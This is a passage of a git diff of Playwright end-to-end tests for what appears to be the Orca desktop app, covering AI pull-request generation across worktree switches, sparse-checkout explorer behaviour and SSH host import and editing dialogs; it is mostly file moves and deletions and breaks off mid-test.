TestInfo, + screenshotDir: string, + filename: string, + evidence: unknown +): Promise { + const evidencePath = path.join(screenshotDir, filename) + writeFileSync(evidencePath, `${JSON.stringify(evidence, null, 2)}\n`) + await testInfo.attach(filename, { + path: evidencePath, + contentType: 'application/json' + }) +} + +test.describe('Source Control AI PR generation worktree switching', () => { + test.describe.configure({ mode: 'serial' }) + + test('keeps checks-panel PR generation running after switching worktrees', async ({ + orcaPage + }, testInfo) => { + await waitForSessionReady(orcaPage) + await waitForActiveWorktree(orcaPage) + const { primaryWorktreeId, prWorktreeId, prWorktreePath, primaryBranch } = + await seedCreatePrComposer(orcaPage) + createBranchCommit(prWorktreePath) + + const screenshotDir = path.join( + process.cwd(), + 'validation-screenshots', + `checks-pr-generation-switch-${Date.now()}` + ) + mkdirSync(screenshotDir, { recursive: true }) + await testInfo.attach('validation-screenshot-dir', { + body: screenshotDir, + contentType: 'text/plain' + }) + const generatorScriptPath = path.join(screenshotDir, 'delayed-checks-pr-generator.cjs') + const callLogPath = path.join(screenshotDir, 'delayed-checks-pr-generator.log') + await installDelayedPrGenerator(orcaPage, generatorScriptPath, callLogPath, primaryBranch) + + await openChecks(orcaPage, prWorktreeId) + const generate = orcaPage.getByRole('button', { + name: 'Generate pull request details with AI' + }) + await expect(generate).toBeVisible({ timeout: 10_000 }) + await expect(generate).toBeEnabled() + await generate.click() + await expect( + orcaPage.getByRole('button', { name: 'Stop generating pull request details' }) + ).toBeVisible() + await expect.poll(() => readLog(callLogPath)).toContain('start') + await orcaPage.screenshot({ + path: path.join(screenshotDir, '01-checks-pr-generation-pending-on-a.png') + }) + + await openChecks(orcaPage, primaryWorktreeId) + await expect(orcaPage.getByText('Generated PR title after switch')).toHaveCount(0) + await orcaPage.screenshot({ + path: path.join(screenshotDir, '02-checks-switched-to-b-no-generated-fields.png') + }) + + await expect.poll(() => readLog(callLogPath), { timeout: 10_000 }).toContain('finish') + await openChecks(orcaPage, prWorktreeId) + await expect(orcaPage.getByRole('textbox', { name: 'Pull request title' })).toHaveValue( + 'Generated PR title after switch', + { timeout: 10_000 } + ) + await expect(orcaPage.getByRole('textbox', { name: 'Pull request description' })).toHaveValue( + 'Generated PR body after switch' + ) + await orcaPage.screenshot({ + path: path.join(screenshotDir, '03-checks-returned-to-a-generated-fields.png') + }) + await writeEvidence(testInfo, screenshotDir, 'checks-pr-generation-switch-evidence.json', { + expectedOriginalWorktreeId: prWorktreeId, + expectedOtherWorktreeId: primaryWorktreeId, + generatorLog: readLog(callLogPath) + }) + }) +}) diff --git a/tests/e2e/source-control-pr-linked-issue-ai.spec.ts b/tests/e2e/source-control/source-control-pr-linked-issue-ai.spec.ts similarity index 91% rename from tests/e2e/source-control-pr-linked-issue-ai.spec.ts rename to tests/e2e/source-control/source-control-pr-linked-issue-ai.spec.ts index 1b6f733e985..34968bdf927 100644 --- a/tests/e2e/source-control-pr-linked-issue-ai.spec.ts +++ b/tests/e2e/source-control/source-control-pr-linked-issue-ai.spec.ts @@ -1,14 +1,15 @@ import { rmSync } from 'node:fs' import os from 'node:os' import path from 'node:path' -import { test, expect } from './helpers/source-control-generation-app' +import { test } from './source-control-generation-app' +import { expect } from '@stablyai/playwright-test' import { createBranchCommit, openSourceControl, seedCreatePrComposer -} from './helpers/source-control-ai-generation' -import { writeLinkedIssueEchoGenerator } from './helpers/source-control-ai-generators' -import { waitForSessionReady } from './helpers/store' +} from './source-control-ai-generation' +import { writeLinkedIssueEchoGenerator } from './source-control-ai-generators' +import { waitForSessionReady } from '../desktop/renderer-probes/store' // Why: the PR path reads the echoed issue from the generated title. function writeLinkedIssuePrEchoGenerator(scriptPath: string, base: string): void { diff --git a/tests/e2e/source-control-staged-rename.spec.ts b/tests/e2e/source-control/source-control-staged-rename.spec.ts similarity index 90% rename from tests/e2e/source-control-staged-rename.spec.ts rename to tests/e2e/source-control/source-control-staged-rename.spec.ts index c3ea19a3078..4a8457d4acd 100644 --- a/tests/e2e/source-control-staged-rename.spec.ts +++ b/tests/e2e/source-control/source-control-staged-rename.spec.ts @@ -1,15 +1,16 @@ import { execFileSync } from 'node:child_process' import { readFileSync, writeFileSync } from 'node:fs' import path from 'node:path' -import { test, expect } from './helpers/orca-app' +import { test } from '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { cleanupGoldenWorktree, createGoldenWorktree, GOLDEN_CHANGED_PATH, GOLDEN_REMOVED_LINE, openGoldenSourceControl -} from './helpers/golden-source-control' -import { waitForSessionReady } from './helpers/store' +} from '../golden-journeys/golden-source-control' +import { waitForSessionReady } from '../desktop/renderer-probes/store' const RENAMED_PATH = 'src/renamed.ts' const EDITED_LINE = 'export const hello = "renamed and edited"' diff --git a/tests/e2e/sparse-explorer-proof.spec.ts b/tests/e2e/sparse-explorer-proof.spec.ts deleted file mode 100644 index f1b943581e3..00000000000 --- a/tests/e2e/sparse-explorer-proof.spec.ts +++ /dev/null @@ -1,214 +0,0 @@ -import { existsSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import os from 'node:os' -import { runProcess } from '@orca/process-host' -import { test as base, expect } from './helpers/orca-app' -import { openFileExplorer } from './helpers/file-explorer' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -async function git(cwd: string, args: string[]): Promise { - const result = await runProcess({ program: 'git', args, cwd }) - if (result.code !== 0) { - throw new Error(result.stderr) - } -} - -const test = base.extend({ - minimumSeededWorktreeCount: 1, - seededRepoPath: async ({ testRepoPath }, provideFixture) => { - const fixtureRoot = mkdtempSync(path.join(os.tmpdir(), 'orca-sparse-proof-')) - const sparseRepo = path.join(fixtureRoot, 'repo') - await git(fixtureRoot, ['clone', '--local', testRepoPath, sparseRepo]) - await git(sparseRepo, ['config', 'user.email', 'sparse-proof@example.invalid']) - await git(sparseRepo, ['config', 'user.name', 'Sparse proof']) - for (const [name, content] of [ - ['omitted/private.txt', 'sparse-proof-marker omitted\n'], - ['apps/web/src/App.tsx', 'export const App = () => "sparse-proof-marker Web app"\n'], - ['apps/web/package.json', '{"name":"web-app"}\n'], - ['packages/ui/src/Button.tsx', 'export const Button = () => "sparse-proof-marker Button"\n'] - ]) { - const file = path.join(sparseRepo, name) - mkdirSync(path.dirname(file), { recursive: true }) - writeFileSync(file, content) - } - await git(sparseRepo, ['add', '.']) - await git(sparseRepo, ['commit', '-m', 'Sparse fixture']) - await git(sparseRepo, ['sparse-checkout', 'init', '--cone']) - await git(sparseRepo, ['sparse-checkout', 'set', '--', 'apps/web']) - expect(existsSync(path.join(sparseRepo, 'omitted', 'private.txt'))).toBe(false) - try { - await provideFixture(sparseRepo) - } finally { - rmSync(fixtureRoot, { recursive: true, force: true }) - } - } -}) - -test('sparse explorer defaults and outside reveal', async ({ orcaPage }, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const activeWorkspace = await orcaPage.evaluate(() => { - const s = window.__store!.getState() - const w = Object.values(s.worktreesByRepo) - .flat() - .find((w) => w.id === s.activeWorktreeId)! - return { id: w.id, path: w.path, repoId: w.repoId } - }) - const workspace = { - ...activeWorkspace, - appsPath: path.join(activeWorkspace.path, 'apps'), - packagesPath: path.join(activeWorkspace.path, 'packages'), - readmePath: path.join(activeWorkspace.path, 'README.md') - } - await orcaPage.setViewportSize({ width: 1440, height: 960 }) - await orcaPage.evaluate( - ({ workspace }) => { - const store = window.__store! - const s = store.getState() - store.setState({ - rightSidebarWidth: 430, - explorerDisplayRootByWorktree: {}, - expandedDirs: { - [workspace.id]: new Set([workspace.appsPath, workspace.packagesPath]) - }, - worktreesByRepo: { - ...s.worktreesByRepo, - [workspace.repoId]: s.worktreesByRepo[workspace.repoId].map((w) => - w.id === workspace.id ? { ...w, isSparse: true, sparseDirectories: ['apps/web'] } : w - ) - } - }) - }, - { workspace } - ) - const board = orcaPage.getByRole('button', { name: 'Workspace board', exact: true }) - await board.click() - await board.click() - await openFileExplorer(orcaPage) - const picker = orcaPage.getByRole('button', { name: 'Explorer root', exact: true }) - await expect(picker).toContainText('apps/web') - const rows = orcaPage.locator('[data-file-explorer-row]') - await expect(rows.filter({ hasText: 'package.json' })).toBeVisible() - const proofDir = process.env.ORCA_SPARSE_PROOF_DIR - const capture = async (name: string) => { - const file = proofDir - ? path.resolve(proofDir, `${name}.png`) - : testInfo.outputPath(`${name}.png`) - mkdirSync(path.dirname(file), { recursive: true }) - await orcaPage.mouse.move(700, 500) - await expect( - orcaPage.getByRole('tooltip').filter({ hasText: 'Workspace board moved to the bottom bar' }) - ).toBeHidden({ timeout: 20000 }) - await orcaPage.screenshot({ path: file, animations: 'disabled' }) - await testInfo.attach(name, { path: file, contentType: 'image/png' }) - } - await capture('single-folder') - await git(workspace.path, ['sparse-checkout', 'set', '--', 'apps/web', 'packages/ui']) - await orcaPage.evaluate( - ({ workspace }) => { - const store = window.__store! - const s = store.getState() - store.setState({ - explorerDisplayRootByWorktree: {}, - worktreesByRepo: { - ...s.worktreesByRepo, - [workspace.repoId]: s.worktreesByRepo[workspace.repoId].map((w) => - w.id === workspace.id - ? { ...w, isSparse: true, sparseDirectories: ['apps/web', 'packages/ui'] } - : w - ) - } - }) - }, - { workspace } - ) - const baseline = process.env.ORCA_SPARSE_PROOF_BASELINE === '1' - await expect(picker).toContainText(baseline ? 'apps/web' : 'Repository root') - if (!baseline) { - await expect(rows.filter({ hasText: 'README.md' })).toBeVisible() - await expect(rows.filter({ hasText: 'apps' })).toBeVisible() - await expect(rows.filter({ hasText: 'packages' })).toBeVisible() - } - await capture('multiple-folders') - await picker.click() - await orcaPage.getByRole('menuitemradio', { name: 'apps/web', exact: true }).click() - await expect(picker).toContainText('apps/web') - await orcaPage.evaluate( - ({ workspace }) => { - window.__store!.getState().revealInExplorer(workspace.id, workspace.readmePath) - }, - { workspace } - ) - await expect(picker).toContainText(baseline ? 'Full repo root' : 'Repository root') - await expect(rows.filter({ hasText: 'README.md' })).toBeVisible() - await orcaPage.keyboard.press('Escape') - await capture('outside-reveal') - if (!baseline) { - await orcaPage.getByRole('button', { name: 'Back to apps/web', exact: true }).click() - await expect(picker).toContainText('apps/web') - await expect(rows.filter({ hasText: 'README.md' })).toHaveCount(0) - await capture('returned-to-folder') - await orcaPage.getByRole('button', { name: 'Repository root', exact: true }).click() - await expect(picker).toContainText('Repository root') - await picker.click() - await orcaPage.getByRole('menuitemradio', { name: 'apps/web', exact: true }).click() - await expect(picker).toContainText('apps/web') - await orcaPage.getByLabel('Search file contents', { exact: true }).click() - await expect(orcaPage.getByText('Search scope: workspace files', { exact: true })).toBeVisible() - await expect(orcaPage.getByLabel('Search file contents', { exact: true })).toHaveAttribute( - 'data-state', - 'on' - ) - await orcaPage - .getByRole('textbox', { name: 'Search files', exact: true }) - .fill('sparse-proof-marker') - await expect(orcaPage.getByText('App.tsx', { exact: true })).toBeVisible() - await expect(orcaPage.getByText('Button.tsx', { exact: true })).toBeVisible() - await expect(orcaPage.getByText('private.txt', { exact: true })).toHaveCount(0) - await capture('content-search') - await orcaPage.getByRole('textbox', { name: 'Search files', exact: true }).fill('') - await orcaPage.getByLabel('Filter files by name', { exact: true }).click() - await expect(picker).toContainText('apps/web') - await picker.click() - await orcaPage.getByRole('menuitemradio', { name: 'packages/ui', exact: true }).click() - await expect(picker).toContainText('packages/ui') - await expect( - orcaPage.getByRole('button', { name: 'Back to apps/web', exact: true }) - ).toHaveCount(0) - await orcaPage.evaluate(async () => { - await window.__store!.getState().updateSettingsOrThrow({ theme: 'dark' }) - }) - await expect(orcaPage.locator('html')).toHaveClass(/dark/) - await orcaPage.keyboard.press('Escape') - await capture('saved-choice-dark') - await orcaPage.getByRole('button', { name: 'About sparse checkout scope' }).click() - await capture('scope-details') - await orcaPage.keyboard.press('Escape') - await orcaPage.evaluate(() => window.__store!.setState({ rightSidebarWidth: 220 })) - await capture('narrow-explorer') - await picker.click() - await capture('root-menu') - await orcaPage.keyboard.press('Escape') - await orcaPage.evaluate(() => window.__store!.setState({ rightSidebarWidth: 430 })) - await git(workspace.path, ['sparse-checkout', 'disable']) - expect(existsSync(path.join(workspace.path, 'omitted', 'private.txt'))).toBe(true) - await orcaPage.evaluate( - ({ workspace }) => { - const store = window.__store! - const s = store.getState() - store.setState({ - worktreesByRepo: { - ...s.worktreesByRepo, - [workspace.repoId]: s.worktreesByRepo[workspace.repoId].map((w) => - w.id === workspace.id ? { ...w, isSparse: false, sparseDirectories: [] } : w - ) - } - }) - }, - { workspace } - ) - await expect(picker).toHaveCount(0) - await expect(rows.filter({ hasText: 'README.md' })).toBeVisible() - await capture('ordinary-workspace') - } -}) diff --git a/tests/e2e/ssh-config-host-import.spec.ts b/tests/e2e/ssh-config-host-import.spec.ts deleted file mode 100644 index 95a00e296f5..00000000000 --- a/tests/e2e/ssh-config-host-import.spec.ts +++ /dev/null @@ -1,153 +0,0 @@ -// Cover Add all import versus Settings re-adoption (P5/P6/P7/P9); picker host selection lives in ssh-config-host-picker.spec.ts. - -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { - buildSshConfigBody, - configHostRow, - expectSshHostAbsentFromSettings, - expectSshHostListedInSettings, - makeSshConfigHostPrefix, - openSshConfigHostPicker, - openSshHostSettings, - removeSshTargetByAlias, - removeSshTargetsByPrefix, - returnToAppShell, - seedIsolatedSshConfig, - type SeededSshConfigHost -} from './helpers/ssh-config-host-picker' - -test.use({ seedTestRepo: false }) - -// Use unique cleanup prefixes so workers loaded in the same millisecond cannot delete each other’s targets. -const HOST_PREFIX = makeSshConfigHostPrefix() - -function pairHosts(prefix: string): { alpha: SeededSshConfigHost; bravo: SeededSshConfigHost } { - return { - alpha: { - alias: `${prefix}-alpha`, - hostname: `${prefix}-alpha.example.test`, - user: 'deploy', - port: 22 - }, - bravo: { - alias: `${prefix}-bravo`, - hostname: `${prefix}-bravo.example.test`, - user: 'ops', - port: 2222 - } - } -} - -async function seedPairConfig( - electronApp: ElectronApplication, - prefix: string -): Promise<{ alpha: SeededSshConfigHost; bravo: SeededSshConfigHost }> { - const hosts = pairHosts(prefix) - await seedIsolatedSshConfig(electronApp, buildSshConfigBody([hosts.alpha, hosts.bravo])) - return hosts -} - -/** Import both config hosts via picker, then suppress `alias` (removeTarget tombstone). */ -async function importPairThenDeleteAlias( - page: Page, - electronApp: ElectronApplication, - prefix: string, - aliasToDelete: string -): Promise<{ alpha: SeededSshConfigHost; bravo: SeededSshConfigHost }> { - const hosts = await seedPairConfig(electronApp, prefix) - const picker = await openSshConfigHostPicker(page) - await expect(picker.getByRole('button', { name: 'Add all 2 to Orca' })).toBeEnabled() - await picker.getByRole('button', { name: 'Add all 2 to Orca' }).click() - await expect(page.getByText('Added 2 hosts to Orca.')).toBeVisible({ timeout: 15_000 }) - await expect(page.getByRole('dialog', { name: 'Choose from ~/.ssh/config' })).toBeHidden({ - timeout: 10_000 - }) - await expect(page.getByRole('dialog', { name: 'Add SSH host' })).toBeHidden({ - timeout: 10_000 - }) - await removeSshTargetByAlias(page, aliasToDelete) - return hosts -} - -test.describe('SSH config host import (bulk + settings re-adopt)', () => { - test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - }) - - test.afterEach(async ({ orcaPage }) => { - await removeSshTargetsByPrefix(orcaPage, HOST_PREFIX).catch(() => undefined) - }) - - test('P6: Add all N to Orca imports new hosts; re-open shows all in Orca', async ({ - electronApp, - orcaPage - }) => { - const hosts = await seedPairConfig(electronApp, HOST_PREFIX) - const picker = await openSshConfigHostPicker(orcaPage) - - await expect(configHostRow(picker, hosts.alpha)).toBeVisible() - await expect(configHostRow(picker, hosts.bravo)).toBeVisible() - await expect(picker.getByRole('button', { name: 'Add all 2 to Orca' })).toBeEnabled() - - await picker.getByRole('button', { name: 'Add all 2 to Orca' }).click() - await expect(orcaPage.getByText('Added 2 hosts to Orca.')).toBeVisible({ timeout: 15_000 }) - await expect(orcaPage.getByRole('dialog', { name: 'Choose from ~/.ssh/config' })).toBeHidden({ - timeout: 10_000 - }) - await expect(orcaPage.getByRole('dialog', { name: 'Add SSH host' })).toBeHidden({ - timeout: 10_000 - }) - - const sshSection = await openSshHostSettings(orcaPage) - await expectSshHostListedInSettings(sshSection, hosts.alpha) - await expectSshHostListedInSettings(sshSection, hosts.bravo) - - await returnToAppShell(orcaPage) - const reopened = await openSshConfigHostPicker(orcaPage) - await expect(configHostRow(reopened, hosts.alpha)).toBeDisabled() - await expect( - configHostRow(reopened, hosts.alpha).getByText('In Orca', { exact: true }) - ).toBeVisible() - await expect(configHostRow(reopened, hosts.bravo)).toBeDisabled() - await expect( - configHostRow(reopened, hosts.bravo).getByText('In Orca', { exact: true }) - ).toBeVisible() - await expect(reopened.getByRole('button', { name: 'No new hosts to add' })).toBeDisabled() - }) - - test('P9: Sync keeps deleted config hosts; Restore removed hosts re-adopts them', async ({ - electronApp, - orcaPage - }) => { - const hosts = await importPairThenDeleteAlias( - orcaPage, - electronApp, - HOST_PREFIX, - `${HOST_PREFIX}-alpha` - ) - - const sshSection = await openSshHostSettings(orcaPage) - await expectSshHostListedInSettings(sshSection, hosts.bravo) - await expectSshHostAbsentFromSettings(sshSection, hosts.alpha) - - // Sync never lifts a removal, so bulk removal sticks. - await sshSection.getByRole('button', { name: 'Sync ~/.ssh/config' }).click() - await expect(orcaPage.getByText(/already in sync|Synced \d+ servers?/i).first()).toBeVisible({ - timeout: 15_000 - }) - await expectSshHostAbsentFromSettings(sshSection, hosts.alpha) - - await sshSection.getByRole('button', { name: 'More SSH host actions' }).click() - // The label carries the removed count once ~/.ssh/config is read; click waits for it to enable. - await orcaPage.getByRole('menuitem', { name: /^Restore removed hosts \(\d+\)…$/ }).click() - const restoreDialog = orcaPage.getByRole('dialog', { name: 'Restore removed hosts?' }) - await expect(restoreDialog.getByText(hosts.alpha.alias)).toBeVisible({ timeout: 15_000 }) - await restoreDialog.getByRole('button', { name: 'Restore' }).click() - await expect(orcaPage.getByText(/Synced \d+ servers?/i)).toBeVisible({ timeout: 15_000 }) - - await expectSshHostListedInSettings(sshSection, hosts.alpha) - await expectSshHostListedInSettings(sshSection, hosts.bravo) - }) -}) diff --git a/tests/e2e/ssh-config-host-picker.spec.ts b/tests/e2e/ssh-config-host-picker.spec.ts deleted file mode 100644 index d39d47c9f4b..00000000000 --- a/tests/e2e/ssh-config-host-picker.spec.ts +++ /dev/null @@ -1,76 +0,0 @@ -import { expect, test } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { - addSshHostFormFields, - buildSshConfigBody, - closeOpenDialogs, - configHostRow, - expectSshHostListedInSettings, - makeSshConfigHostPrefix, - openSshConfigHostPicker, - openSshHostSettings, - removeSshTargetsByPrefix, - seedIsolatedSshConfig, - type SeededSshConfigHost -} from './helpers/ssh-config-host-picker' - -test.use({ seedTestRepo: false }) - -// Use unique cleanup prefixes so workers loaded in the same millisecond cannot delete each other’s targets. -const HOST_PREFIX = makeSshConfigHostPrefix() - -test.describe('SSH config host picker', () => { - test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - }) - - test.afterEach(async ({ orcaPage }) => { - await closeOpenDialogs(orcaPage).catch(() => undefined) - await removeSshTargetsByPrefix(orcaPage, HOST_PREFIX).catch(() => undefined) - }) - - test('P3: select host prefills form; Save persists; N3 identity hint', async ({ - electronApp, - orcaPage - }) => { - const prod: SeededSshConfigHost = { - alias: `${HOST_PREFIX}-prod`, - hostname: 'prod.example.test', - user: 'deploy', - port: 2222 - } - await seedIsolatedSshConfig(electronApp, buildSshConfigBody([prod])) - - const picker = await openSshConfigHostPicker(orcaPage) - await configHostRow(picker, prod).click() - - const form = orcaPage.getByRole('dialog', { name: 'Add SSH host' }) - await expect(form.getByRole('heading', { name: 'Add SSH host' })).toBeVisible({ - timeout: 10_000 - }) - const fields = addSshHostFormFields(form) - await expect(fields.host).toHaveValue(prod.hostname, { timeout: 15_000 }) - await expect(fields.username).toHaveValue(prod.user) - await expect(fields.port).toHaveValue(String(prod.port)) - await expect(fields.label).toHaveValue(prod.alias) - await expect(fields.identityFile).toHaveValue('') - // N3: empty Identity file explains multi-key resolve from config. - await expect( - form.getByText(new RegExp(`Left empty on purpose:.*${escapeRegExp(prod.alias)}`, 'i')) - ).toBeVisible() - await expect( - orcaPage.getByText(new RegExp(`Filled from ${escapeRegExp(prod.alias)}`, 'i')) - ).toBeVisible({ timeout: 5_000 }) - - await form.getByRole('button', { name: 'Save' }).click() - await expect(form).toBeHidden({ timeout: 10_000 }) - - // The saved settings card is durable; the success toast is not. - const sshSection = await openSshHostSettings(orcaPage) - await expectSshHostListedInSettings(sshSection, prod) - }) -}) - -function escapeRegExp(value: string): string { - return value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') -} diff --git a/tests/e2e/ssh-host-form-modal.spec.ts b/tests/e2e/ssh-host-form-modal.spec.ts deleted file mode 100644 index 7865b173fc2..00000000000 --- a/tests/e2e/ssh-host-form-modal.spec.ts +++ /dev/null @@ -1,205 +0,0 @@ -// STA-3067: keep add/edit fields in a viewport-bound modal even with a long SSH host list. - -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' - -test.use({ seedTestRepo: false }) - -// Use unique cleanup prefixes so workers cannot delete each other’s targets. -const HOST_PREFIX = `e2e-ssh-modal-${Date.now().toString(36)}-${Math.random().toString(36).slice(2, 8)}` - -async function dismissTransientAnnouncement(page: Page): Promise { - const maybeLaterButton = page.getByRole('button', { name: 'Maybe Later' }) - // Retry announcement visibility; isVisible ignores its timeout and can miss late render. - const visible = await expect(maybeLaterButton) - .toBeVisible({ timeout: 1_000 }) - .then(() => true) - .catch(() => false) - if (visible) { - await maybeLaterButton.click() - } -} - -async function seedSshTargets( - page: Page, - count: number -): Promise<{ ids: string[]; labels: string[] }> { - return page.evaluate( - async ({ count, prefix }) => { - const ids: string[] = [] - const labels: string[] = [] - for (let index = 0; index < count; index += 1) { - const label = `${prefix}-seed-${index}` - const result = await window.api.ssh.addTarget({ - target: { - label, - host: `seed-${index}.${prefix}.example.test`, - port: 22, - username: 'deploy', - // Why: keep relay cleanup short if a later suite connects these stubs. - relayGracePeriodSeconds: 60 - } - }) - ids.push(result.target.id) - labels.push(label) - window.__store?.getState().recordSshRepoReadoptions(result.repoReadoptions) - } - return { ids, labels } - }, - { count, prefix: HOST_PREFIX } - ) -} - -async function removeSshTargets(page: Page, ids: string[]): Promise { - await page.evaluate(async (targetIds) => { - for (const id of targetIds) { - try { - await window.api.ssh.removeTarget({ id }) - } catch { - // Best-effort cleanup — target may already be gone. - } - } - }, ids) -} - -async function openSshHostSettings(page: Page): Promise { - await page.evaluate(() => { - const state = window.__store?.getState() - if (!state) { - throw new Error('store unavailable') - } - state.openSettingsTarget({ pane: 'ssh', repoId: null }) - state.openSettingsPage() - }) - await expect(page.getByPlaceholder('Search settings')).toBeVisible({ timeout: 10_000 }) - await dismissTransientAnnouncement(page) - const sshSection = page.locator('[data-settings-section="ssh"]') - await expect(sshSection).toBeVisible({ timeout: 10_000 }) - // Why: section chrome uses "SSH Hosts"; the pane body catalog string is "Targets". - await expect(sshSection.getByRole('heading', { name: 'SSH Hosts' })).toBeVisible() - await expect(sshSection.getByRole('button', { name: 'Add host' })).toBeVisible({ - timeout: 10_000 - }) -} - -async function listTargetIdsByLabelPrefix(page: Page, prefix: string): Promise { - return page.evaluate(async (labelPrefix) => { - const targets = (await window.api.ssh.listTargets()) as { id: string; label: string }[] - return targets - .filter((target) => target.label.startsWith(labelPrefix)) - .map((target) => target.id) - }, prefix) -} - -test.describe('SSH host add/edit modal', () => { - test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - }) - - test.afterEach(async ({ orcaPage }) => { - const ids = await listTargetIdsByLabelPrefix(orcaPage, HOST_PREFIX) - if (ids.length > 0) { - await removeSshTargets(orcaPage, ids) - } - }) - - test('opens add/edit form in a viewport-stable dialog over a long host list', async ({ - orcaPage - }) => { - const seeded = await seedSshTargets(orcaPage, 10) - await openSshHostSettings(orcaPage) - - const sshSection = orcaPage.locator('[data-settings-section="ssh"]') - // Why: seed first, then open settings so SshPane's listTargets load includes them. - for (const label of seeded.labels.slice(0, 3)) { - await expect(sshSection.getByText(label, { exact: true })).toBeVisible() - } - - await sshSection.getByRole('button', { name: 'Add host' }).click() - - const addDialog = orcaPage.getByRole('dialog', { name: 'Add SSH host' }) - await expect(addDialog).toBeVisible() - await expect(addDialog.getByRole('heading', { name: 'Add SSH host' })).toBeInViewport() - await expect( - addDialog.getByText('Add a persistent machine you can log into over SSH.') - ).toBeInViewport() - await expect(addDialog.getByRole('button', { name: 'Add host' })).toBeInViewport() - await expect(addDialog.getByRole('button', { name: 'Cancel' })).toBeInViewport() - - // Why: Advanced expands the form; sticky header/footer must stay on screen. - await addDialog.getByRole('button', { name: 'Advanced' }).click() - await expect(addDialog.getByText('Proxy Command')).toBeVisible() - await expect(addDialog.getByRole('heading', { name: 'Add SSH host' })).toBeInViewport() - await expect(addDialog.getByRole('button', { name: 'Add host' })).toBeInViewport() - - // Collapse before save; the next open separately verifies initial Advanced state. - await addDialog.getByRole('button', { name: 'Advanced' }).click() - - const createdLabel = `${HOST_PREFIX}-created` - await addDialog.locator('#ssh-target-label').fill(createdLabel) - await addDialog.locator('#ssh-target-host').fill('created.example.test') - await addDialog.locator('#ssh-target-username').fill('alice') - await addDialog.locator('#ssh-target-port').fill('2222') - await addDialog.getByRole('button', { name: 'Add host' }).click() - - await expect(addDialog).toBeHidden({ timeout: 10_000 }) - await expect(sshSection.getByText(createdLabel, { exact: true })).toBeVisible({ - timeout: 10_000 - }) - await expect(sshSection.getByText('alice@created.example.test:2222')).toBeVisible() - - const createdCard = sshSection.locator( - `[data-ssh-target-card][data-ssh-target-label="${createdLabel}"]` - ) - await createdCard.getByRole('button', { name: `More actions for ${createdLabel}` }).click() - await orcaPage.getByRole('menuitem', { name: 'Edit…' }).click() - - const editDialog = orcaPage.getByRole('dialog', { name: 'Edit SSH host' }) - await expect(editDialog).toBeVisible() - await expect(editDialog.getByRole('heading', { name: 'Edit SSH host' })).toBeInViewport() - await expect( - editDialog.getByText( - 'Update connection details for this machine. Changes apply on next connect.' - ) - ).toBeInViewport() - await expect(editDialog.getByText('Editing')).toBeVisible() - await expect(editDialog.getByText(createdLabel, { exact: true })).toBeVisible() - await expect(editDialog.getByText('alice@created.example.test:2222')).toBeVisible() - await expect(editDialog.getByRole('button', { name: 'Save Changes' })).toBeInViewport() - - // Advanced starts collapsed for a target without advanced fields. - await expect(editDialog.getByRole('button', { name: 'Advanced' })).toHaveAttribute( - 'data-state', - 'closed' - ) - await editDialog.getByRole('button', { name: 'Advanced' }).click() - await expect(editDialog.getByRole('button', { name: 'Advanced' })).toHaveAttribute( - 'data-state', - 'open' - ) - await expect(editDialog.getByRole('heading', { name: 'Edit SSH host' })).toBeInViewport() - await expect(editDialog.getByRole('button', { name: 'Save Changes' })).toBeInViewport() - - // Dirty outside-click must not discard the draft. - await editDialog.locator('#ssh-target-label').fill(`${createdLabel}-dirty`) - await orcaPage.locator('[data-slot="dialog-overlay"]').click({ position: { x: 8, y: 8 } }) - await expect(editDialog).toBeVisible() - await expect(editDialog.locator('#ssh-target-label')).toHaveValue(`${createdLabel}-dirty`) - - // Explicit cancel discards; reopening must reset Advanced. - await editDialog.getByRole('button', { name: 'Cancel' }).click() - await expect(editDialog).toBeHidden() - - await createdCard.getByRole('button', { name: `More actions for ${createdLabel}` }).click() - await orcaPage.getByRole('menuitem', { name: 'Edit…' }).click() - const reopened = orcaPage.getByRole('dialog', { name: 'Edit SSH host' }) - await expect(reopened).toBeVisible() - await expect(reopened.locator('#ssh-target-label')).toHaveValue(createdLabel) - await expect(reopened.getByRole('button', { name: 'Advanced' })).toHaveAttribute( - 'data-state', - 'closed' - ) - await reopened.getByRole('button', { name: 'Cancel' }).click() - }) -}) diff --git a/tests/e2e/ssh-orcad-browser-service-status.spec.ts b/tests/e2e/ssh-orcad-browser-service-status.spec.ts deleted file mode 100644 index 4a70e4f2310..00000000000 --- a/tests/e2e/ssh-orcad-browser-service-status.spec.ts +++ /dev/null @@ -1,175 +0,0 @@ -import { cpSync, rmSync } from 'node:fs' -import path from 'node:path' -import type { ElectronApplication } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { createRestartSession } from './helpers/orca-restart' -import { waitForSessionReady } from './helpers/store' -import { - cleanupDockerSshHostTarget, - DOCKER_SSH_HOST_REMOTE_REPO_PATH, - startDockerSshHostTarget -} from './helpers/docker-ssh-host-target' -import { seedRelayEraProfile } from './helpers/orcad-upgrade-profile' -import { - startSshRemoteOnlyBrowserFixture, - SSH_REMOTE_ONLY_ORIGIN -} from './helpers/ssh-remote-only-browser-fixture' -import { createRetentionFixtureDirectory } from './helpers/host-created-terminal-retention-oracle' -import { reconnect, serverCall } from './helpers/orcad-convert-flow' -import { ORCAD_TEMPLATE, skipUnlessManagedDockerHost } from './helpers/orcad-managed-workspace' -import { getOrcadSshDeployment } from '../../src/shared/remote-runtime/host-catalog/runtime-environments' - -skipUnlessManagedDockerHost() - -test('an unavailable browser on a responding managed host does not report a server outage', async (// oxlint-disable-next-line no-empty-pattern -- Owns app launch. -{}, testInfo) => { - test.setTimeout(5 * 60_000) - const target = startDockerSshHostTarget(testInfo) - const scratch = createRetentionFixtureDirectory() - const template = path.join(scratch, 'template') - const session = createRestartSession(testInfo, { ORCA_ORCAD_TEMPLATE_PATH: template }) - let app: ElectronApplication | null = null - try { - startSshRemoteOnlyBrowserFixture(target) - // The first launch only 